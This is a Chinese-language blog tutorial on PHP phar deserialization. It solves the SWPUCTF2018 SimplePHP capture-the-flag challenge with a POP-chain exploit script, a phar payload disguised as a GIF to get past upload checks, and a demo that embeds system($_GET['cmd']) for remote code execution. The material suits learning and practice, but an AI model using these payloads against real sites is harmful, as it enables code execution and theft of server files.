phar反序列化學習

SecIN發表於2022-09-22

程式碼塊中的 "\" 可以忽略

初始phar

概念

phar是一種類似於jar的打包檔案,但是實際上是一種壓縮檔案,php5.3版本或以上都預設開啟,可以將多個檔案壓縮成一個phar檔案,phar不需要依賴unserialize函式就可以進行反序列化操作,使用phar偽協議讀取檔案會將檔案中的meta-data資料進行一次反序列化操作。同時php中已經內建了一個phar類用於處理相關的操作

四大主要組成部分

  • a stub

可以理解成標識,必須以**__HALT_COMPILER();?>** 結尾,否則不會被識別為phar檔案,結尾前的內容不限,比如可以是:xxx\<?php xxx;__HALT_COMPILER();?>

  •  a manifest describing the contents

phar檔案中本質上是一個壓縮檔案,所以這一部分會放一些壓縮檔案的一些資訊,其中meta-data就是以序列化的形式儲存在這裡,這個也是漏洞執行的關鍵點

  • the file contents

被壓縮的檔案內容,在沒有特殊要求的情況下,可以隨便寫,反正最終我們只是需要序列化出我們想要得到內容就行了

  • a signature for verifying Phar integrity

簽名格式

wKg0C2LrmReAXdCYAABrLE6iA3E461.png

受影響函式

php部分函式在透過偽協議phar://解析phar檔案時,會觸發反序列化,會將meta-data進行反序列化,受影響的函式如下:

wKg0C2LrmSuAQ5cAABnDHedzQ340.png

舉個荔枝

實驗開始之前,確保

  • php 版本等於或者高於5.3
  • php.ini中的phar.readonly設定為Off(預設為On)
//生成phar檔案
<?php
class AnyClass{
    var $output = '';
    function __construct(){
        echo '生成完成...';
    }
}
$phar = new Phar('phar.phar');  //被生成的檔案,必須是phar做為字尾名
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>'); //phar標誌,必須以__HALT_COMPILER();?>結尾,前面的內容隨便
$phar -> addFromString('vfree.txt','vfree');  //要寫入的檔案和檔案內容
$object = new AnyClass();   //初始化類
$object -> output= 'system($_GET["cmd"]);';  //往類裡面的output變數寫入systemxxx
$phar -> setMetadata($object);  //將meta-data寫入manifest
$phar -> stopBuffering();

執行這個php檔案後,會在當前目錄下生成一個vfree.phar檔案

構造下面的語句,使用受影響的函式包含phar檔案

<?php
show_source(__FILE__);
\$filename=\$_GET['filename'];
class AnyClass{
    var \$output = 'echo "ok";';
    function __destruct()
    {
        eval(\$this->output);
    }
}
file_exists('phar://phar.phar/vfree.txt')

訪問檔案,就可以進行RCE,vfree.txt的作用好像沒啥用,就是為了輸出addFromstring第二位的vfree!!!
wKg0C2LrmbGAR7vZAADoXHWGiaI507.png

實戰:[SWPUCTF2018]SimplePHP

題目連結:**BUUCTF線上評測 (buuoj.cn)

題解

開啟檔案有兩個利用點,一個是檢視檔案的,還有一個是上傳檔案,一般老師傅看到檢視檔案的第一眼就會考慮到任意檔案讀取漏洞,這裡嘗試讀取一下index.php

wKg0C2LrllSAFuVvAAA8BYWy3Jc229.png

發現index.php下include了一個base.php,包含看看啥也沒,但是底下有一個f1ag.php

wKg0C2LrlmCAduz5AACciQolqbg086.png

包含f1ag.php,返回hacker,說明給過濾了

wKg0C2LrlmmARYfGAAAftc4BsMw934.png

繼續讀取file.php看看,新發現了兩個檔案和網站的絕對路徑,繼續包含

wKg0C2LrlnOALmTlAACgJcToVk949.png

最主要的兩個檔案:function.php和class.php

function.php

<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
   global \$_FILES;
   \$filename = md5(\$_FILES["file"]["name"].\$_SERVER["REMOTE_ADDR"]).".jpg";
   //mkdir("upload",0777);
   if(file_exists("upload/" . \$filename)) {
       unlink(\$filename);
   }
   move_uploaded_file(\$_FILES["file"]["tmp_name"],"upload/" . \$filename);
   echo '\<script type="text/javascript">alert("上傳成功!");\</script>';
}
function upload_file() {
   global \$_FILES;
   if(upload_file_check()) {
       upload_file_do();
   }
}
function upload_file_check() {
   global \$_FILES;
   \$allowed_types = array("gif","jpeg","jpg","png");
   \$temp = explode(".",\$_FILES["file"]["name"]);
   \$extension = end(\$temp);
   if(empty(\$extension)) {
       //echo "\<h4>請選擇上傳的檔案:" . "\<h4/>";
   }
   else{
       if(in_array(\$extension,\$allowed_types)) {
           return true;
       }
       else {
           echo '\<script type="text/javascript">alert("Invalid file!");\</script>';
           return false;
       }
   }
}
?>

function.php檔案主要是控制上傳的,檔名命名控制語句:

\$filename = md5(\$_FILES["file"]["name"].\$_SERVER["REMOTE_ADDR"]).".jpg";

檔案儲存語句:

move_uploaded_file(\$_FILES["file"]["tmp_name"],"upload/" . \$filename);

check語句:

\$allowed_types = array("gif","jpeg","jpg","png");
\$temp = explode(".",\$_FILES["file"]["name"]);

所以上傳的路徑是在當前目錄的upload資料夾下,只能上傳圖片檔案格式的檔案

繼續跟進審計class.php檔案

class.php

\<?php
class C1e4r
{
   public \$test;
   public \$str;
   public function __construct(\$name)
   {
       \$this->str = \$name;
   }
   public function __destruct()
   {
       \$this->test = \$this->str;
       echo \$this->test;
   }
}

class Show
{
   public \$source;
   public \$str;
   public function __construct(\$file)
   {
       \$this->source = \$file;   //\$this->source = phar://phar.jpg
       echo \$this->source;
   }
   public function __toString()
   {
       \$content = \$this->str['str']->source;
       return \$content;
   }
   public function __set(\$key,\$value)
   {
       \$this->\$key = \$value;
   }
   public function _show()
   {
       if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',\$this->source)) {
           die('hacker!');
       } else {
           highlight_file(\$this->source);
       }
       
   }
   public function __wakeup()
   {
       if(preg_match("/http|https|file:|gopher|dict|\.\./i", \$this->source)) {
           echo "hacker~";
           \$this->source = "index.php";
       }
   }
}
class Test
{
   public \$file;
   public \$params;
   public function __construct()
   {
       \$this->params = array();
   }
   public function __get(\$key)
   {
       return \$this->get(\$key);
   }
   public function get(\$key)
   {
       if(isset(\$this->params[\$key])) {
           \$value = \$this->params[\$key];
       } else {
           \$value = "index.php";
       }
       return \$this->file_get(\$value);
   }
   public function file_get(\$value)
   {
       \$text = base64_encode(file_get_contents(\$value));
       return \$text;
   }
}
?>

分析

  • class.php有兩個檔案操作的函式,一個是highlight_file和file_get_contents
  • 有三個類,分別是C14er,Show和Test,先從C14er審計:

C14er類

class C1e4r
{
   public \$test;
   public \$str;
   public function __construct(\$name)
   {
       \$this->str = \$name;
       //construct魔術方法初始化了str的值等於\$name
   }
   public function __destruct()
   {
       \$this->test = \$this->str;
       echo \$this->test;
       //destruct魔術方法賦值了\$this->test等於\$this->str,然後輸出\$this->test
   }
}

Show類

class Show
{
   public \$source;
   public \$str;
   public function __construct(\$file)
   {
       \$this->source = \$file;   //\$this->source = phar://phar.jpg
       echo \$this->source;   //    已經告訴了這是一個phar反序列化
   }
   public function __toString()
   {
       //這裡的魔術方法作用就是如果使用輸出字串的方式輸出類的例項化,就會促發__toString,也就是會執行這裡。
       \$content = \$this->str['str']->source;
       // 呼叫了自己的source
       return \$content;
   }
   public function __set(\$key,\$value)
   {
       \$this->\$key = \$value;
   }
   public function _show()
   {
       //這裡定義了檔案包含過濾的字串,包含了f1ag.php,所以不能直接包含flag所在的檔案
       if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',\$this->source)) {
           die('hacker!');
       } else {
           highlight_file(\$this->source);
       }
       
   }
   public function __wakeup()
   {
       if(preg_match("/http|https|file:|gopher|dict|\.\./i", \$this->source)) {
           echo "hacker~";
           \$this->source = "index.php";
       }
   }
}

Test類

class Test
{
   public \$file;
   public \$params;
   public function __construct()
   {
       \$this->params = array();
       //初始化一個params為陣列
   }
   public function __get(\$key)
   {
       //如果呼叫了類裡面的一個不存在或者私有的內容時,就會觸發__get魔術方法
       return \$this->get(\$key); // 這裡繼續呼叫了get(),繼續跟進
   }
   public function get(\$key)
   {
       if(isset(\$this->params[\$key])) {
           \$value = \$this->params[\$key];
           // 如果設定了params[\$key]的話,那麼\$value就等於設定的檔案
       } else {
           \$value = "index.php";
       }
       return \$this->file_get(\$value);
       //這裡繼續呼叫了file_get(\$value),繼續跟進
   }
   public function file_get(\$value)
   {
       \$text = base64_encode(file_get_contents(\$value));
       // 到了這裡,就可以讀取我們傳入的檔案了
       return \$text;
   }
}

對於一些程式碼的解釋已經註釋在了程式碼中的後面。

關係

首先C1e4r類中的解構函式中,使用了echo輸出$this->test,test時可控的,在後面的Show類也有一個toString魔術方法,這個方法中定義的$content = $this->str['str']->source可以觸發Test類的__get魔術方法,所以我們要在\$this->test傳入一個可以觸發toString的內容,然後在傳入一個str觸發Test的__get

C14er->test => Show->__toString => Test->__get->get->file_get

EXP編寫

\<?php
class C1e4r{
   public \$test;
   public \$str;
}
class Show{
   public \$source;
   public \$str;
}
class Test{
   public \$file;
   public \$params;
}
\$c1e4r = new C1e4r();
\$show = new Show();
\$test = new Test();
\$c1e4r->str = \$show;  // 觸發Show類的__toString
\$show->str['str'] = \$test;  //觸發Test類的__get,因為在Test並沒有定義source,所以Test的__get會被觸發
\$test->params['source'] = '/var/www/html/f1ag.php'; //要讀取的檔案

//生成phar檔案基本上用下面這一段程式碼
\$phar = new Phar('vfree.phar'); //必須是phar為字尾
\$phar -> startBuffering(); //開始寫入
\$phar -> setStub('GIF89A'.'\<?php __HALT_COMPILER();?>');  
/*必須以__HALT_COMPILER();?>結尾,否則不會被識別出是phar檔案,前面的內容隨便*/
\$phar -> addFromString('vfree.txt','vfree');  //隨便寫
\$object = \$c1e4r;  
\$phar -> setMetadata(\$object);  //將meta-data寫入快取中
\$phar -> stopBuffering(); //停止寫入,並且建立輸出一個phar檔案,這裡生成了vfree.phar

編寫後訪問exp檔案,會在當前檔案建立一個vfree.phar的檔案,由於只能上傳圖片檔案,所以要把phar字尾改成gif上傳上去。

wKg0C2LrlpCAP8d4AAARr5c4zVc503.png

wKg0C2Lrlp2AIj3kAAAXmEWgvUo590.png

上傳

wKg0C2LrlqWAPow9AAA5eKkQkU297.png

這裡開了目錄訪問的許可權,訪問upload/

wKg0C2LrlqyAHGJ7AACGLfp14c837.png

使用phar偽協議訪問66314f775270c74b6790f90c8d7167a8.jpg,訪問url

http://xxxxxxxxx/file.php?file=phar://upload/66314f775270c74b6790f90c8d7167a8.jpg

wKg0C2LrlraAWYs9AAAvy5BmSQ795.png

wKg0C2LrlsCAcE9sAABTgJXPF0204.png

總結

一個比較簡單的phar反序列化,透過構造POP鏈去寫對應的EXP,一步一步實現每一個類的呼叫,最終透過觸發Test的__get魔術方法,一步一步到最後的file_get_contents函式讀取檔案。這裡提一個第一次編寫exp時出現的一個問題,就是在指定flag檔案的時候,\$test->params['source']='/var/www/html/f1ag.php' 中的source不能替換成其他的值,忽略了這個陣列的鍵不是可控的,剛開始寫了file,一直沒成功,換成source就好了,因為觸發__get魔術方法要帶上一個引數,而source就是我們帶上的引數,具體的魔術方法學使用方法可以自行百度一下。


相關文章